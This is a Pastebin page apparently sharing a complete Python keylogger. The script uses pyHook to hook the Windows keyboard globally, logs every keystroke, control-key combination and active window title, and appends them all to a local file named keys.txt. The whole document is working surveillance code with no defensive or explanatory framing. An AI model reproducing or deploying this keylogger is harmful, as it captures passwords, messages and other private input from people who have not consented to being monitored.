Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import pyHook
- import pythoncom
- keyData = ''
- WinTitle = ""
- def keypressed(event):
- global keyData, WinTitle
- keys = ""
- wintitlestring = ""
- if WinTitle != event.WindowName:
- WinTitle = event.WindowName
- wintitlestring = "\n Window: %s \n" % WinTitle
- try:
- keyfile = open("keys.txt", "r")
- keyData = keyfile.read()
- keyfile.close()
- except:
- pass
- if event.Ascii == 13:
- keys = '\n'
- elif event.Ascii == 8:
- keys = '<BACK SPACE>'
- elif event.Ascii == 9:
- keys = '<TAB>'
- elif event.Ascii == 19:
- keys = '<CTRL-S>'
- elif event.Ascii == 24:
- keys = '<CTRL-X>'
- elif event.Ascii == 22:
- keys = '<CTRL-V>'
- elif event.Ascii == 3:
- keys = '<CTRL-C>'
- elif event.Ascii == 26:
- keys = '<CTRL-Z>'
- elif event.Ascii == 0:
- if event.Key not in ("Lshift", "Rshift", "Lmenu", "Rmenu", "Lcontrol", "Rcontrol"):
- keys = "<%s>" % event.Key
- else:
- keys = chr(event.Ascii)
- if wintitlestring != "":
- keyData += wintitlestring
- keyData += keys
- keyfile = open("keys.txt", "w")
- keyfile.write(keyData)
- keyfile.close()
- return True
- obj = pyHook.HookManager()
- obj.KeyDown = keypressed
- obj.HookKeyboard()
- pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement